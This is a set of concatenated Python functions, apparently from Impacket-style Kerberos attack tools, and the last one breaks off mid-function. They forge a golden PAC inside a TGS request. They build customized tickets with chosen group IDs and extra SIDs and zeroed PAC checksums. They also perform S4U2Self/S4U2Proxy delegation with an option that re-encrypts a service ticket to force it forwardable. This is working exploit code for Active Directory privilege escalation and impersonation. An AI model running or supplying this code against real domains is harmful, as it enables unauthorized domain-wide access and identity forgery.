def fromTGS(self, tgs, oldSessionKey, sessionKey): self.headers = [] header = Header() header['tag'] = 1 header['taglen'] = 8 header['tagdata'] = b'\xff\xff\xff\xff\x00\x00\x00\x00' self.headers.append(header) decodedTGS = decoder.decode(tgs, asn1Spec = TGS_REP())[0] tmpPrincipal = types.Principal() tmpPrincipal.from_asn1(decodedTGS, 'crealm', 'cname') self.principal = Principal() self.principal.fromPrincipal(tmpPrincipal) # Now let's add the credential cipherText = decodedTGS['enc-part']['cipher'] cipher = crypto._enctype_table[decodedTGS['enc-part']['etype']] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(oldSessionKey, 8, cipherText) encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0] credential = Credential() server = types.Principal() server.from_asn1(encTGSRepPart, 'srealm', 'sname') tmpServer = Principal() tmpServer.fromPrincipal(server) credential['client'] = self.principal credential['server'] = tmpServer credential['is_skey'] = 0 credential['key'] = KeyBlock() credential['key']['keytype'] = int(encTGSRepPart['key']['keytype']) credential['key']['keyvalue'] = encTGSRepPart['key']['keyvalue'].asOctets() credential['key']['keylen'] = len(credential['key']['keyvalue']) credential['time'] = Times() credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['authtime'])) credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['starttime'])) credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['endtime'])) credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['renew-till'])) flags = self.reverseFlags(encTGSRepPart['flags']) credential['tktflags'] = flags credential['num_address'] = 0 credential.ticket = CountedOctetString() credential.ticket['data'] = encoder.encode(decodedTGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) credential.ticket['length'] = len(credential.ticket['data']) credential.secondTicket = CountedOctetString() credential.secondTicket['data'] = b'' credential.secondTicket['length'] = 0 self.credentials.append(credential)
def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime): # Get out Golden PAC goldenPAC = self.getGoldenPAC(authTime) decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT ifRelevant = AD_IF_RELEVANT() ifRelevant[0] = None ifRelevant[0]['ad-type'] = int( constants.AuthorizationDataType.AD_IF_RELEVANT.value) ifRelevant[0]['ad-data'] = goldenPAC encodedIfRelevant = encoder.encode(ifRelevant) # Key Usage 4 # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with # the TGS session key (Section 5.4.1) encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None) tgsReq = TGS_REQ() reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.SystemRandom().getrandbits(31) seq_set_iter(reqBody, 'etype', (cipher.enctype, )) reqBody['enc-authorization-data'] = None reqBody['enc-authorization-data']['etype'] = int(cipher.enctype) reqBody['enc-authorization-data'][ 'cipher'] = encryptedEncodedIfRelevant apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = None tgsReq['padata'][0] = None tgsReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = False encodedPacRequest = encoder.encode(pacRequest) tgsReq['padata'][1] = None tgsReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) tgsReq['padata'][1]['padata-value'] = encodedPacRequest message = encoder.encode(tgsReq) r = sendReceive(message, domain, kdcHost) # Get the session key tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue'])) return r, cipher, sessionKey, newSessionKey
def customizeTicket(self, kdcRep, pacInfos): logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target)) encTicketPart = EncTicketPart() flags = list() flags.append(TicketFlags.forwardable.value) flags.append(TicketFlags.proxiable.value) flags.append(TicketFlags.renewable.value) if self.__domain == self.__server: flags.append(TicketFlags.initial.value) flags.append(TicketFlags.pre_authent.value) encTicketPart['flags'] = encodeFlags(flags) encTicketPart['key'] = noValue encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] if encTicketPart['key'][ 'keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join( [random.choice(string.ascii_letters) for _ in range(16)]) elif encTicketPart['key'][ 'keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join( [random.choice(string.ascii_letters) for _ in range(32)]) else: encTicketPart['key']['keyvalue'] = ''.join( [random.choice(string.ascii_letters) for _ in range(16)]) encTicketPart['crealm'] = self.__domain.upper() encTicketPart['cname'] = noValue encTicketPart['cname'][ 'name-type'] = PrincipalNameType.NT_PRINCIPAL.value encTicketPart['cname']['name-string'] = noValue encTicketPart['cname']['name-string'][0] = self.__target encTicketPart['transited'] = noValue encTicketPart['transited']['tr-type'] = 0 encTicketPart['transited']['contents'] = '' encTicketPart['authtime'] = KerberosTime.to_asn1( datetime.datetime.utcnow()) encTicketPart['starttime'] = KerberosTime.to_asn1( datetime.datetime.utcnow()) # Let's extend the ticket's validity a lil bit ticketDuration = datetime.datetime.utcnow() + datetime.timedelta( days=int(self.__options.duration)) encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['authorization-data'] = noValue encTicketPart['authorization-data'][0] = noValue encTicketPart['authorization-data'][0][ 'ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value encTicketPart['authorization-data'][0]['ad-data'] = noValue # Let's locate the KERB_VALIDATION_INFO and Checksums if PAC_LOGON_INFO in pacInfos: data = pacInfos[PAC_LOGON_INFO] validationInfo = VALIDATION_INFO() validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) lenVal = len(validationInfo.getData()) validationInfo.fromStringReferents(data[lenVal:], lenVal) aTime = timegm( strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ')) unixTime = self.getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 # Let's adjust username and other data validationInfo['Data']['LogonDomainName'] = self.__domain.upper() validationInfo['Data']['EffectiveName'] = self.__target # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') validationInfo['Data']['GroupIds'] = list() validationInfo['Data']['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = int(group) groupMembership['RelativeId'] = groupId groupMembership[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED validationInfo['Data']['GroupIds'].append(groupMembership) # Let's add the extraSid if self.__options.extra_sid is not None: extrasids = self.__options.extra_sid.split(',') if validationInfo['Data']['SidCount'] == 0: # Let's be sure user's flag specify we have extra sids. validationInfo['Data']['UserFlags'] |= 0x20 validationInfo['Data'][ 'ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() for extrasid in extrasids: validationInfo['Data']['SidCount'] += 1 sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extrasid) sidRecord['Sid'] = sid sidRecord[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED # And, let's append the magicSid validationInfo['Data']['ExtraSids'].append(sidRecord) else: validationInfo['Data']['ExtraSids'] = NULL validationInfoBlob = validationInfo.getData( ) + validationInfo.getDataReferents() pacInfos[PAC_LOGON_INFO] = validationInfoBlob if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO after making it gold') validationInfo.dump() print('\n') else: raise Exception('PAC_LOGON_INFO not found! Aborting') logging.info('\tPAC_LOGON_INFO') # Let's now clear the checksums if PAC_SERVER_CHECKSUM in pacInfos: serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) if serverChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: serverChecksum['Signature'] = '\x00' * 12 elif serverChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: serverChecksum['Signature'] = '\x00' * 12 else: serverChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() else: raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') if PAC_PRIVSVR_CHECKSUM in pacInfos: privSvrChecksum = PAC_SIGNATURE_DATA( pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksum['Signature'] = '\x00' * 12 if privSvrChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: privSvrChecksum['Signature'] = '\x00' * 12 elif privSvrChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: privSvrChecksum['Signature'] = '\x00' * 12 else: privSvrChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() else: raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') if PAC_CLIENT_INFO_TYPE in pacInfos: pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) pacClientInfo['ClientId'] = unixTime pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() else: raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') logging.info('\tPAC_CLIENT_INFO_TYPE') logging.info('\tEncTicketPart') if self.__domain == self.__server: encRepPart = EncASRepPart() else: encRepPart = EncTGSRepPart() encRepPart['key'] = noValue encRepPart['key']['keytype'] = encTicketPart['key']['keytype'] encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue'] encRepPart['last-req'] = noValue encRepPart['last-req'][0] = noValue encRepPart['last-req'][0]['lr-type'] = 0 encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1( datetime.datetime.utcnow()) encRepPart['nonce'] = 123456789 encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) encRepPart['flags'] = encodeFlags(flags) encRepPart['authtime'] = str(encTicketPart['authtime']) encRepPart['endtime'] = str(encTicketPart['endtime']) encRepPart['starttime'] = str(encTicketPart['starttime']) encRepPart['renew-till'] = str(encTicketPart['renew-till']) encRepPart['srealm'] = self.__domain.upper() encRepPart['sname'] = noValue encRepPart['sname']['name-string'] = noValue encRepPart['sname']['name-string'][0] = self.__service if self.__domain == self.__server: encRepPart['sname'][ 'name-type'] = PrincipalNameType.NT_SRV_INST.value encRepPart['sname']['name-string'][1] = self.__domain.upper() logging.info('\tEncAsRepPart') else: encRepPart['sname'][ 'name-type'] = PrincipalNameType.NT_PRINCIPAL.value encRepPart['sname']['name-string'][1] = self.__server logging.info('\tEncTGSRepPart') return encRepPart, encTicketPart, pacInfos
def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey): # Decode the TGT try: decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] except: decodedTGT = decoder.decode(tgt, asn1Spec=TGS_REP())[0] domain = domain.upper() # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = None tgsReq['padata'][0] = None tgsReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.renewable_ok.value) opts.append(constants.KDCOptions.canonicalize.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(cipher.enctype))) message = encoder.encode(tgsReq) r = sendReceive(message, domain, kdcHost) # Get the session key tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue'])) return r, cipher, sessionKey, newSessionKey
def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): if not os.path.isfile(additional_ticket_path): logging.error("Ticket %s doesn't exist" % additional_ticket_path) exit(0) else: decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) ccache = CCache.loadFile(additional_ticket_path) principal = ccache.credentials[0].header['server'].prettyPrint() creds = ccache.getCredential(principal.decode()) TGS = creds.toTGS(principal) tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) if self.__force_forwardable: # Convert hashes to binary form, just in case we're receiving strings if isinstance(nthash, str): try: nthash = unhexlify(nthash) except TypeError: pass if isinstance(aesKey, str): try: aesKey = unhexlify(aesKey) except TypeError: pass # Compute NTHash and AESKey if they're not provided in arguments if self.__password != '' and self.__domain != '' and self.__user != '': if not nthash: nthash = compute_nthash(self.__password) if logging.getLogger().level == logging.DEBUG: logging.debug('NTHash') print(hexlify(nthash).decode()) if not aesKey: salt = self.__domain.upper() + self.__user aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents if logging.getLogger().level == logging.DEBUG: logging.debug('AESKey') print(hexlify(aesKey).decode()) # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys cipherText = tgs['ticket']['enc-part']['cipher'] # Check which cipher was used to encrypt the ticket. It's not always the same # This determines which of our keys we should use for decryption/re-encryption newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] if newCipher.enctype == Enctype.RC4: key = Key(newCipher.enctype, nthash) else: key = Key(newCipher.enctype, aesKey) # Decrypt and decode the ticket # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) plainText = newCipher.decrypt(key, 2, cipherText) encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] # Print the flags in the ticket before modification logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) logging.debug('\tService ticket from S4U2self is' + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + ' forwardable') # Customize flags the forwardable flag is the only one that really matters logging.info('\tForcing the service ticket to be forwardable') # convert to string of bits flagBits = encTicketPart['flags'].asBinary() # Set the forwardable flag. Awkward binary string insertion flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] # Overwrite the value with the new bits encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) logging.debug('\tService ticket now is' + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + ' forwardable') # Re-encode and re-encrypt the ticket # Again, Key Usage 2 encodedEncTicketPart = encoder.encode(encTicketPart) cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) # put it back in the TGS tgs['ticket']['enc-part']['cipher'] = cipherText ################################################################################ # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy # So here I have a ST for me.. I now want a ST for another service # Extract the ticket from the TGT ticketTGT = Ticket() ticketTGT.from_asn1(decodedTGT['ticket']) # Get the service ticket ticket = Ticket() ticket.from_asn1(tgs['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticketTGT.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # Add resource-based constrained delegation support paPacOptions = PA_PAC_OPTIONS() paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) reqBody = seq_set(tgsReq, 'req-body') opts = list() # This specified we're doing S4U opts.append(constants.KDCOptions.cname_in_addl_tkt.value) opts.append(constants.KDCOptions.canonicalize.value) opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) seq_set(reqBody, 'sname', service2.components_to_asn1) reqBody['realm'] = self.__domain myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', ( int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(constants.EncryptionTypes.des_cbc_md5.value), int(cipher.enctype) ) ) message = encoder.encode(tgsReq) logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, cipherText) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) # Creating new cipher based on received keytype cipher = _enctype_table[encTGSRepPart['key']['keytype']] return r, cipher, sessionKey, newSessionKey
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) if logging.getLogger().level == logging.DEBUG: logging.debug('AUTHENTICATOR') print(authenticator.prettyPrint()) print('\n') encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is # identified to the KDC by the user's name and realm. clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('S4UByteArray') hexdump(S4UByteArray) # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash # with the following three parameters: the session key of the TGT of # the service performing the S4U2Self request, the message type value # of 17, and the byte array S4UByteArray. checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) if logging.getLogger().level == logging.DEBUG: logging.debug('CheckSum') hexdump(checkSum) paForUserEnc = PA_FOR_USER_ENC() seq_set(paForUserEnc, 'userName', clientName.components_to_asn1) paForUserEnc['userRealm'] = self.__domain paForUserEnc['cksum'] = noValue paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value) paForUserEnc['cksum']['checksum'] = checkSum paForUserEnc['auth-package'] = 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('PA_FOR_USER_ENC') print(paForUserEnc.prettyPrint()) encodedPaForUserEnc = encoder.encode(paForUserEnc) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value) tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.canonicalize.value) reqBody['kdc-options'] = constants.encodeFlags(opts) serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) if logging.getLogger().level == logging.DEBUG: logging.debug('Final TGS') print(tgsReq.prettyPrint()) logging.info('\tRequesting S4U2self') message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) if self.__force_forwardable: # Convert hashes to binary form, just in case we're receiving strings if isinstance(nthash, str): try: nthash = unhexlify(nthash) except TypeError: pass if isinstance(aesKey, str): try: aesKey = unhexlify(aesKey) except TypeError: pass # Compute NTHash and AESKey if they're not provided in arguments if self.__password != '' and self.__domain != '' and self.__user != '': if not nthash: nthash = compute_nthash(self.__password) if logging.getLogger().level == logging.DEBUG: logging.debug('NTHash') print(hexlify(nthash).decode()) if not aesKey: salt = self.__domain.upper() + self.__user aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents if logging.getLogger().level == logging.DEBUG: logging.debug('AESKey') print(hexlify(aesKey).decode()) # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys cipherText = tgs['ticket']['enc-part']['cipher'] # Check which cipher was used to encrypt the ticket. It's not always the same # This determines which of our keys we should use for decryption/re-encryption newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] if newCipher.enctype == Enctype.RC4: key = Key(newCipher.enctype, nthash) else: key = Key(newCipher.enctype, aesKey) # Decrypt and decode the ticket # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) plainText = newCipher.decrypt(key, 2, cipherText) encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] # Print the flags in the ticket before modification logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) logging.debug('\tService ticket from S4U2self is' + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + ' forwardable') # Customize flags the forwardable flag is the only one that really matters logging.info('\tForcing the service ticket to be forwardable') # convert to string of bits flagBits = encTicketPart['flags'].asBinary() # Set the forwardable flag. Awkward binary string insertion flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] # Overwrite the value with the new bits encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) logging.debug('\tService ticket now is' + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + ' forwardable') # Re-encode and re-encrypt the ticket # Again, Key Usage 2 encodedEncTicketPart = encoder.encode(encTicketPart) cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) # put it back in the TGS tgs['ticket']['enc-part']['cipher'] = cipherText ################################################################################ # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy # So here I have a ST for me.. I now want a ST for another service # Extract the ticket from the TGT ticketTGT = Ticket() ticketTGT.from_asn1(decodedTGT['ticket']) # Get the service ticket ticket = Ticket() ticket.from_asn1(tgs['ticket']) apReq = AP_REQ() 